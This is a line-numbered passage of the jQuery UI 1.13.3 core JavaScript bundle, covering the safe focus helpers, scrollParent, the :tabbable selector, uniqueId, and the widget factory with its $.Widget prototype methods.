911 $.ui.position.flip.top.apply( this, arguments );
912 $.ui.position.fit.top.apply( this, arguments );
913 }
914 }
915};
916
917} )();
918
919// Source: safe-active-element.js
920$.ui.safeActiveElement = function( document ) {
921 var activeElement;
922
923 // Support: IE 9 only
924 // IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe>
925 try {
926 activeElement = document.activeElement;
927 } catch ( error ) {
928 activeElement = document.body;
929 }
930
931 // Support: IE 9 - 11 only
932 // IE may return null instead of an element
933 // Interestingly, this only seems to occur when NOT in an iframe
934 if ( !activeElement ) {
935 activeElement = document.body;
936 }
937
938 // Support: IE 11 only
939 // IE11 returns a seemingly empty object in some cases when accessing
940 // document.activeElement from an <iframe>
941 if ( !activeElement.nodeName ) {
942 activeElement = document.body;
943 }
944
945 return activeElement;
946};
947
948// Source: safe-blur.js
949$.ui.safeBlur = function( element ) {
950
951 // Support: IE9 - 10 only
952 // If the <body> is blurred, IE will switch windows, see #9420
953 if ( element && element.nodeName.toLowerCase() !== "body" ) {
954 $( element ).trigger( "blur" );
955 }
956};
957
958// Source: scroll-parent.js
959/*!
960 * jQuery UI Scroll Parent 1.13.3
961 * https://jqueryui.com
962 *
963 * Copyright OpenJS Foundation and other contributors
964 * Released under the MIT license.
965 * https://jquery.org/license
966 */
967
968//>>label: scrollParent
969//>>group: Core
970//>>description: Get the closest ancestor element that is scrollable.
971//>>docs: https://api.jqueryui.com/scrollParent/
972
973$.fn.scrollParent = function( includeHidden ) {
974 var position = this.css( "position" ),
975 excludeStaticParent = position === "absolute",
976 overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/,
977 scrollParent = this.parents().filter( function() {
978 var parent = $( this );
979 if ( excludeStaticParent && parent.css( "position" ) === "static" ) {
980 return false;
981 }
982 return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) +
983 parent.css( "overflow-x" ) );
984 } ).eq( 0 );
985
986 return position === "fixed" || !scrollParent.length ?
987 $( this[ 0 ].ownerDocument || document ) :
988 scrollParent;
989};
990
991// Source: tabbable.js
992/*!
993 * jQuery UI Tabbable 1.13.3
994 * https://jqueryui.com
995 *
996 * Copyright OpenJS Foundation and other contributors
997 * Released under the MIT license.
998 * https://jquery.org/license
999 */
1000
1001//>>label: :tabbable Selector
1002//>>group: Core
1003//>>description: Selects elements which can be tabbed to.
1004//>>docs: https://api.jqueryui.com/tabbable-selector/
1005
1006$.extend( $.expr.pseudos, {
1007 tabbable: function( element ) {
1008 var tabIndex = $.attr( element, "tabindex" ),
1009 hasTabindex = tabIndex != null;
1010 return ( !hasTabindex || tabIndex >= 0 ) && $.ui.focusable( element, hasTabindex );
1011 }
1012} );
1013
1014// Source: unique-id.js
1015/*!
1016 * jQuery UI Unique ID 1.13.3
1017 * https://jqueryui.com
1018 *
1019 * Copyright OpenJS Foundation and other contributors
1020 * Released under the MIT license.
1021 * https://jquery.org/license
1022 */
1023
1024//>>label: uniqueId
1025//>>group: Core
1026//>>description: Functions to generate and remove uniqueId's
1027//>>docs: https://api.jqueryui.com/uniqueId/
1028
1029$.fn.extend( {
1030 uniqueId: ( function() {
1031 var uuid = 0;
1032
1033 return function() {
1034 return this.each( function() {
1035 if ( !this.id ) {
1036 this.id = "ui-id-" + ( ++uuid );
1037 }
1038 } );
1039 };
1040 } )(),
1041
1042 removeUniqueId: function() {
1043 return this.each( function() {
1044 if ( /^ui-id-\d+$/.test( this.id ) ) {
1045 $( this ).removeAttr( "id" );
1046 }
1047 } );
1048 }
1049} );
1050
1051// Source: widget.js
1052/*!
1053 * jQuery UI Widget 1.13.3
1054 * https://jqueryui.com
1055 *
1056 * Copyright OpenJS Foundation and other contributors
1057 * Released under the MIT license.
1058 * https://jquery.org/license
1059 */
1060
1061//>>label: Widget
1062//>>group: Core
1063//>>description: Provides a factory for creating stateful widgets with a common API.
1064//>>docs: https://api.jqueryui.com/jQuery.widget/
1065//>>demos: https://jqueryui.com/widget/
1066
1067var widgetUuid = 0;
1068var widgetHasOwnProperty = Array.prototype.hasOwnProperty;
1069var widgetSlice = Array.prototype.slice;
1070
1071$.cleanData = ( function( orig ) {
1072 return function( elems ) {
1073 var events, elem, i;
1074 for ( i = 0; ( elem = elems[ i ] ) != null; i++ ) {
1075
1076 // Only trigger remove when necessary to save time
1077 events = $._data( elem, "events" );
1078 if ( events && events.remove ) {
1079 $( elem ).triggerHandler( "remove" );
1080 }
1081 }
1082 orig( elems );
1083 };
1084} )( $.cleanData );
1085
1086$.widget = function( name, base, prototype ) {
1087 var existingConstructor, constructor, basePrototype;
1088
1089 // ProxiedPrototype allows the provided prototype to remain unmodified
1090 // so that it can be used as a mixin for multiple widgets (#8876)
1091 var proxiedPrototype = {};
1092
1093 var namespace = name.split( "." )[ 0 ];
1094 name = name.split( "." )[ 1 ];
1095 var fullName = namespace + "-" + name;
1096
1097 if ( !prototype ) {
1098 prototype = base;
1099 base = $.Widget;
1100 }
1101
1102 if ( Array.isArray( prototype ) ) {
1103 prototype = $.extend.apply( null, [ {} ].concat( prototype ) );
1104 }
1105
1106 // Create selector for plugin
1107 $.expr.pseudos[ fullName.toLowerCase() ] = function( elem ) {
1108 return !!$.data( elem, fullName );
1109 };
1110
1111 $[ namespace ] = $[ namespace ] || {};
1112 existingConstructor = $[ namespace ][ name ];
1113 constructor = $[ namespace ][ name ] = function( options, element ) {
1114
1115 // Allow instantiation without "new" keyword
1116 if ( !this || !this._createWidget ) {
1117 return new constructor( options, element );
1118 }
1119
1120 // Allow instantiation without initializing for simple inheritance
1121 // must use "new" keyword (the code above always passes args)
1122 if ( arguments.length ) {
1123 this._createWidget( options, element );
1124 }
1125 };
1126
1127 // Extend with the existing constructor to carry over any static properties
1128 $.extend( constructor, existingConstructor, {
1129 version: prototype.version,
1130
1131 // Copy the object used to create the prototype in case we need to
1132 // redefine the widget later
1133 _proto: $.extend( {}, prototype ),
1134
1135 // Track widgets that inherit from this widget in case this widget is
1136 // redefined after a widget inherits from it
1137 _childConstructors: []
1138 } );
1139
1140 basePrototype = new base();
1141
1142 // We need to make the options hash a property directly on the new instance
1143 // otherwise we'll modify the options hash on the prototype that we're
1144 // inheriting from
1145 basePrototype.options = $.widget.extend( {}, basePrototype.options );
1146 $.each( prototype, function( prop, value ) {
1147 if ( typeof value !== "function" ) {
1148 proxiedPrototype[ prop ] = value;
1149 return;
1150 }
1151 proxiedPrototype[ prop ] = ( function() {
1152 function _super() {
1153 return base.prototype[ prop ].apply( this, arguments );
1154 }
1155
1156 function _superApply( args ) {
1157 return base.prototype[ prop ].apply( this, args );
1158 }
1159
1160 return function() {
1161 var __super = this._super;
1162 var __superApply = this._superApply;
1163 var returnValue;
1164
1165 this._super = _super;
1166 this._superApply = _superApply;
1167
1168 returnValue = value.apply( this, arguments );
1169
1170 this._super = __super;
1171 this._superApply = __superApply;
1172
1173 return returnValue;
1174 };
1175 } )();
1176 } );
1177 constructor.prototype = $.widget.extend( basePrototype, {
1178
1179 // TODO: remove support for widgetEventPrefix
1180 // always use the name + a colon as the prefix, e.g., draggable:start
1181 // don't prefix for widgets that aren't DOM-based
1182 widgetEventPrefix: existingConstructor ? ( basePrototype.widgetEventPrefix || name ) : name
1183 }, proxiedPrototype, {
1184 constructor: constructor,
1185 namespace: namespace,
1186 widgetName: name,
1187 widgetFullName: fullName
1188 } );
1189
1190 // If this widget is being redefined then we need to find all widgets that
1191 // are inheriting from it and redefine all of them so that they inherit from
1192 // the new version of this widget. We're essentially trying to replace one
1193 // level in the prototype chain.
1194 if ( existingConstructor ) {
1195 $.each( existingConstructor._childConstructors, function( i, child ) {
1196 var childPrototype = child.prototype;
1197
1198 // Redefine the child widget using the same prototype that was
1199 // originally used, but inherit from the new version of the base
1200 $.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor,
1201 child._proto );
1202 } );
1203
1204 // Remove the list of existing child constructors from the old constructor
1205 // so the old child constructors can be garbage collected
1206 delete existingConstructor._childConstructors;
1207 } else {
1208 base._childConstructors.push( constructor );
1209 }
1210
1211 $.widget.bridge( name, constructor );
1212
1213 return constructor;
1214};
1215
1216$.widget.extend = function( target ) {
1217 var input = widgetSlice.call( arguments, 1 );
1218 var inputIndex = 0;
1219 var inputLength = input.length;
1220 var key;
1221 var value;
1222
1223 for ( ; inputIndex < inputLength; inputIndex++ ) {
1224 for ( key in input[ inputIndex ] ) {
1225 value = input[ inputIndex ][ key ];
1226 if ( widgetHasOwnProperty.call( input[ inputIndex ], key ) && value !== undefined ) {
1227
1228 // Clone objects
1229 if ( $.isPlainObject( value ) ) {
1230 target[ key ] = $.isPlainObject( target[ key ] ) ?
1231 $.widget.extend( {}, target[ key ], value ) :
1232
1233 // Don't extend strings, arrays, etc. with objects
1234 $.widget.extend( {}, value );
1235
1236 // Copy everything else by reference
1237 } else {
1238 target[ key ] = value;
1239 }
1240 }
1241 }
1242 }
1243 return target;
1244};
1245
1246$.widget.bridge = function( name, object ) {
1247 var fullName = object.prototype.widgetFullName || name;
1248 $.fn[ name ] = function( options ) {
1249 var isMethodCall = typeof options === "string";
1250 var args = widgetSlice.call( arguments, 1 );
1251 var returnValue = this;
1252
1253 if ( isMethodCall ) {
1254
1255 // If this is an empty collection, we need to have the instance method
1256 // return undefined instead of the jQuery instance
1257 if ( !this.length && options === "instance" ) {
1258 returnValue = undefined;
1259 } else {
1260 this.each( function() {
1261 var methodValue;
1262 var instance = $.data( this, fullName );
1263
1264 if ( options === "instance" ) {
1265 returnValue = instance;
1266 return false;
1267 }
1268
1269 if ( !instance ) {
1270 return $.error( "cannot call methods on " + name +
1271 " prior to initialization; " +
1272 "attempted to call method '" + options + "'" );
1273 }
1274
1275 if ( typeof instance[ options ] !== "function" ||
1276 options.charAt( 0 ) === "_" ) {
1277 return $.error( "no such method '" + options + "' for " + name +
1278 " widget instance" );
1279 }
1280
1281 methodValue = instance[ options ].apply( instance, args );
1282
1283 if ( methodValue !== instance && methodValue !== undefined ) {
1284 returnValue = methodValue && methodValue.jquery ?
1285 returnValue.pushStack( methodValue.get() ) :
1286 methodValue;
1287 return false;
1288 }
1289 } );
1290 }
1291 } else {
1292
1293 // Allow multiple hashes to be passed on init
1294 if ( args.length ) {
1295 options = $.widget.extend.apply( null, [ options ].concat( args ) );
1296 }
1297
1298 this.each( function() {
1299 var instance = $.data( this, fullName );
1300 if ( instance ) {
1301 instance.option( options || {} );
1302 if ( instance._init ) {
1303 instance._init();
1304 }
1305 } else {
1306 $.data( this, fullName, new object( options, this ) );
1307 }
1308 } );
1309 }
1310
1311 return returnValue;
1312 };
1313};
1314
1315$.Widget = function( /* options, element */ ) {};
1316$.Widget._childConstructors = [];
1317
1318$.Widget.prototype = {
1319 widgetName: "widget",
1320 widgetEventPrefix: "",
1321 defaultElement: "<div>",
1322
1323 options: {
1324 classes: {},
1325 disabled: false,
1326
1327 // Callbacks
1328 create: null
1329 },
1330
1331 _createWidget: function( options, element ) {
1332 element = $( element || this.defaultElement || this )[ 0 ];
1333 this.element = $( element );
1334 this.uuid = widgetUuid++;
1335 this.eventNamespace = "." + this.widgetName + this.uuid;
1336
1337 this.bindings = $();
1338 this.hoverable = $();
1339 this.focusable = $();
1340 this.classesElementLookup = {};
1341
1342 if ( element !== this ) {
1343 $.data( element, this.widgetFullName, this );
1344 this._on( true, this.element, {
1345 remove: function( event ) {
1346 if ( event.target === element ) {
1347 this.destroy();
1348 }
1349 }
1350 } );
1351 this.document = $( element.style ?
1352
1353 // Element within the document
1354 element.ownerDocument :
1355
1356 // Element is window or document
1357 element.document || element );
1358 this.window = $( this.document[ 0 ].defaultView || this.document[ 0 ].parentWindow );
1359 }
1360
1361 this.options = $.widget.extend( {},
1362 this.options,
1363 this._getCreateOptions(),
1364 options );
1365
1366 this._create();
1367
1368 if ( this.options.disabled ) {
1369 this._setOptionDisabled( this.options.disabled );
1370 }
1371
1372 this._trigger( "create", null, this._getCreateEventData() );
1373 this._init();
1374 },
1375
1376 _getCreateOptions: function() {
1377 return {};
1378 },
1379
1380 _getCreateEventData: $.noop,
1381
1382 _create: $.noop,
1383
1384 _init: $.noop,
1385
1386 destroy: function() {
1387 var that = this;
1388
1389 this._destroy();
1390 $.each( this.classesElementLookup, function( key, value ) {
1391 that._removeClass( value, key );
1392 } );
1393
1394 // We can probably remove the unbind calls in 2.0
1395 // all event bindings should go through this._on()
1396 this.element
1397 .off( this.eventNamespace )
1398 .removeData( this.widgetFullName );
1399 this.widget()
1400 .off( this.eventNamespace )
1401 .removeAttr( "aria-disabled" );
1402
1403 // Clean up events and states
1404 this.bindings.off( this.eventNamespace );
1405 },
1406
1407 _destroy: $.noop,
1408
1409 widget: function() {
1410 return this.element;
1411 },
1412
1413 option: function( key, value ) {
1414 var options = key;
1415 var parts;
1416 var curOption;
1417 var i;
1418
1419 if ( arguments.length === 0 ) {
1420
1421 // Don't return a reference to the internal hash
1422 return $.widget.extend( {}, this.options );
1423 }
1424
1425 if ( typeof key === "string" ) {
1426
1427 // Handle nested keys, e.g., "foo.bar" => { foo: { bar: ___ } }
1428 options = {};
1429 parts = key.split( "." );
1430 key = parts.shift();
1431 if ( parts.length ) {
1432 curOption = options[ key ] = $.widget.extend( {}, this.options[ key ] );
1433 for ( i = 0; i < parts.length - 1; i++ ) {
1434 curOption[ parts[ i ] ] = curOption[ parts[ i ] ] || {};
1435 curOption = curOption[ parts[ i ] ];
1436 }
1437 key = parts.pop();
1438 if ( arguments.length === 1 ) {
1439 return curOption[ key ] === undefined ? null : curOption[ key ];
1440 }
1441 curOption[ key ] = value;
1442 } else {
1443 if ( arguments.length === 1 ) {
1444 return this.options[ key ] === undefined ? null : this.options[ key ];
1445 }
1446 options[ key ] = value;
1447 }
1448 }
1449
1450 this._setOptions( options );
1451
1452 return this;
1453 },
1454
1455 _setOptions: function( options ) {
1456 var key;
1457
1458 for ( key in options ) {
1459 this._setOption( key, options[ key ] );
1460 }
1461
1462 return this;
1463 },
1464
1465 _setOption: function( key, value ) {
1466 if ( key === "classes" ) {
1467 this._setOptionClasses( value );
1468 }
1469
1470 this.options[ key ] = value;
1471
1472 if ( key === "disabled" ) {
1473 this._setOptionDisabled( value );
1474 }
1475
1476 return this;
1477 },
1478
1479 _setOptionClasses: function( value ) {
1480 var classKey, elements, currentElements;
1481
1482 for ( classKey in value ) {
1483 currentElements = this.classesElementLookup[ classKey ];
1484 if ( value[ classKey ] === this.options.classes[ classKey ] ||
1485 !currentElements ||
1486 !currentElements.length ) {
1487 continue;
1488 }
1489
1490 // We are doing this to create a new jQuery object because the _removeClass() call
1491 // on the next line is going to destroy the reference to the current elements being
1492 // tracked. We need to save a copy of this collection so that we can add the new classes
1493 // below.
1494 elements = $( currentElements.get() );
1495 this._removeClass( currentElements, classKey );
1496
1497 // We don't use _addClass() here, because that uses this.options.classes
1498 // for generating the string of classes. We want to use the value passed in from
1499 // _setOption(), this is the new value of the classes option which was passed to
1500 // _setOption(). We pass this value directly to _classes().
1501 elements.addClass( this._classes( {
1502 element: elements,
1503 keys: classKey,
1504 classes: value,
1505 add: true
1506 } ) );
1507 }
1508 },
1509
1510 _setOptionDisabled: function( value ) {
1511 this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null, !!value );
1512
1513 // If the widget is becoming disabled, then nothing is interactive
1514 if ( value ) {
1515 this._removeClass( this.hoverable, null, "ui-state-hover" );
1516 this._removeClass( this.focusable, null, "ui-state-focus" );
1517 }
1518 },
1519
1520 enable: function() {
1521 return this._setOptions( { disabled: false } );
1522 },
1523
1524 disable: function() {
1525 return this._setOptions( { disabled: true } );
1526 },
1527
1528 _classes: function( options ) {
1529 var full = [];
1530 var that = this;
1531
1532 options = $.extend( {
1533 element: this.element,
1534 classes: this.options.classes || {}
1535 }, options );
1536
1537 function bindRemoveEvent() {
1538 var nodesToBind = [];
1539
1540 options.element.each( function( _, element ) {
1541 var isTracked = $.map( that.classesElementLookup, function( elements ) {
1542 return elements;
1543 } )
1544 .some( function( elements ) {
1545 return elements.is( element );
1546 } );
1547
1548 if ( !isTracked ) {
1549 nodesToBind.push( element );
1550 }
1551 } );
1552
1553 that._on( $( nodesToBind ), {
1554 remove: "_untrackClassesElement"
1555 } );
1556 }
1557
1558 function processClassString( classes, checkOption ) {
1559 var current, i;
1560 for ( i = 0; i < classes.length; i++ ) {
1561 current = that.classesElementLookup[ classes[ i ] ] || $();
1562 if ( options.add ) {
1563 bindRemoveEvent();
1564 current = $( $.uniqueSort( current.get().concat( options.element.get() ) ) );
1565 } else {
1566 current = $( current.not( options.element ).get() );
1567 }
1568 that.classesElementLookup[ classes[ i ] ] = current;
1569 full.push( classes[ i ] );
1570 if ( checkOption && options.classes[ classes[ i ] ] ) {
1571 full.push( options.classes[ classes[ i ] ] );
1572 }
1573 }
1574 }
1575
1576 if ( options.keys ) {
1577 processClassString( options.keys.match( /\S+/g ) || [], true );
1578 }
1579 if ( options.extra ) {
1580 processClassString( options.extra.match( /\S+/g ) || [] );
1581 }
1582
1583 return full.join( " " );
1584 },
1585
1586 _untrackClassesElement: function( event ) {
1587 var that = this;
1588 $.each( that.classesElementLookup, function( key, value ) {
1589 if ( $.inArray( event.target, value ) !== -1 ) {
1590 that.classesElementLookup[ key ] = $( value.not( event.target ).get() );
1591 }
1592 } );
1593
1594 this._off( $( event.target ) );
1595 },
1596
1597 _removeClass: function( element, keys, extra ) {
1598 return this._toggleClass( element, keys, extra, false );
1599 },
1600
1601 _addClass: function( element, keys, extra ) {
1602 return this._toggleClass( element, keys, extra, true );
1603 },
1604
1605 _toggleClass: function( element, keys, extra, add ) {
1606 add = ( typeof add === "boolean" ) ? add : extra;
1607 var shift = ( typeof element === "string" || element === null ),
1608 options = {
1609 extra: shift ? keys : extra,
1610 keys: shift ? element : keys,
1611 element: shift ? this.element : element,
1612 add: add
1613 };
1614 options.element.toggleClass( this._classes( options ), add );
1615 return this;
1616 },
1617
1618 _on: function( suppressDisabledCheck, element, handlers ) {
1619 var delegateElement;
1620 var instance = this;
1621
1622 // No suppressDisabledCheck flag, shuffle arguments
1623 if ( typeof suppressDisabledCheck !== "boolean" ) {
1624 handlers = element;
1625 element = suppressDisabledCheck;
1626 suppressDisabledCheck = false;
1627 }
1628
1629 // No element argument, shuffle and use this.element
1630 if ( !handlers ) {
1631 handlers = element;
1632 element = this.element;
1633 delegateElement = this.widget();
1634 } else {
1635 element = delegateElement = $( element );
1636 this.bindings = this.bindings.add( element );
1637 }
1638
1639 $.each( handlers, function( event, handler ) {
1640 function handlerProxy() {
1641
1642 // Allow widgets to customize the disabled handling
1643 // - disabled as an array instead of boolean
1644 // - disabled class as method for disabling individual parts
1645 if ( !suppressDisabledCheck &&
1646 ( instance.options.disabled === true ||
1647 $( this ).hasClass( "ui-state-disabled" ) ) ) {
1648 return;
1649 }
1650 return ( typeof handler === "string" ? instance[ handler ] : handler )
1651 .apply( instance, arguments );
1652 }
1653
1654 // Copy the guid so direct unbinding works
1655 if ( typeof handler !== "string" ) {
1656 handlerProxy.guid = handler.guid =
1657 handler.guid || handlerProxy.guid || $.guid++;
1658 }
1659
1660 var match = event.match( /^([\w:-]*)\s*(.*)$/ );
1661 var eventName = match[ 1 ] + instance.eventNamespace;
1662 var selector = match[ 2 ];
1663
1664 if ( selector ) {
1665 delegateElement.on( eventName, selector, handlerProxy );
1666 } else {
1667 element.on( eventName, handlerProxy );
1668 }
1669 } );
1670 },
1671
1672 _off: function( element, eventName ) {
1673 eventName = ( eventName || "" ).split( " " ).join( this.eventNamespace + " " ) +
1674 this.eventNamespace;
1675 element.off( eventName );
1676
1677 // Clear the stack to avoid memory leaks (#10056)
1678 this.bindings = $( this.bindings.not( element ).get() );
1679 this.focusable = $( this.focusable.not( element ).get() );
1680 this.hoverable = $( this.hoverable.not( element ).get() );
1681 },
1682
1683 _delay: function( handler, delay ) {
1684 function handlerProxy() {
1685 return ( typeof handler === "string" ? instance[ handler ] : handler )
1686 .apply( instance, arguments );
1687 }
1688 var instance = this;
1689 return setTimeout( handlerProxy, delay || 0 );
1690 },
1691
1692 _hoverable: function( element ) {
1693 this.hoverable = this.hoverable.add( element );
1694 this._on( element, {
1695 mouseenter: function( event ) {
1696 this._addClass( $( event.currentTarget ), null, "ui-state-hover" );
1697 },
1698 mouseleave: function( event ) {
1699 this._removeClass( $( event.currentTarget ), null, "ui-state-hover" );
1700 }
1701 } );
1702 },
1703
1704 _focusable: function( element ) {
1705 this.focusable = this.focusable.add( element );
1706 this._on( element, {
1707 focusin: function( event ) {
1708 this._addClass( $( event.currentTarget ), null, "ui-state-focus" );
1709 },
1710 focusout: function( event ) {
1711 this._removeClass( $( event.currentTarget ), null, "ui-state-focus" );
1712 }
1713 } );
1714 },
1715
1716 _trigger: function( type, event, data ) {
1717 var prop, orig;
1718 var callback = this.options[ type ];
1719
1720 data = data || {};
1721 event = $.Event( event );
1722 event.type = ( type === this.widgetEventPrefix ?
1723 type :
1724 this.widgetEventPrefix + type ).toLowerCase();
1725
1726 // The original event may come from any element
1727 // so we need to reset the target on the new event
1728 event.target = this.element[ 0 ];
1729
1730 // Copy original event properties over to the new event
1731 orig = event.originalEvent;
1732 if ( orig ) {
1733 for ( prop in orig ) {
1734 if ( !( prop in event ) ) {
1735 event[ prop ] = orig[ prop ];
1736 }
1737 }
1738 }
1739
1740 this.element.trigger( event, data );
1741 return !( typeof callback === "function" &&
1742 callback.apply( this.element[ 0 ], [ event ].concat( data ) ) === false ||
1743 event.isDefaultPrevented() );
1744 }
1745};
1746
1747$.each( { show: "fadeIn", hide: "fadeOut" }, function( method, defaultEffect ) {
1748 $.Widget.prototype[ "_" + method ] = function( element, options, callback ) {
1749 if ( typeof options === "string" ) {
1750 options = { effect: options };
1751 }
1752
1753 var hasOptions;
1754 var effectName = !options ?
1755 method :
1756 options === true || typeof options === "number" ?
1757 defaultEffect :
1758 options.effect || defaultEffect;
1759
1760 options = options || {};
1761 if ( typeof options === "number" ) {
1762 options = { duration: options };
1763 } else if ( options === true ) {
1764 options = {};
1765 }
1766
1767 hasOptions = !$.isEmptyObject( options );
1768 options.complete = callback;
1769
1770 if ( options.delay ) {
1771 element.delay( options.delay );
1772 }
1773
1774 if ( hasOptions && $.effects && $.effects.effect[ effectName ] ) {
1775 element[ method ]( options );
1776 } else if ( effectName !== method && element[ effectName ] ) {
1777 element[ effectName ]( options.duration, options.easing, callback );
1778 } else {
1779 element.queue( function( next ) {
1780 $( this )[ method ]();
1781 if ( callback ) {
1782 callback.call( element[ 0 ] );
1783 }
1784 next();
1785 } );
1786 }
1787 };
1788} );
1789
1790
1791} ) );
1792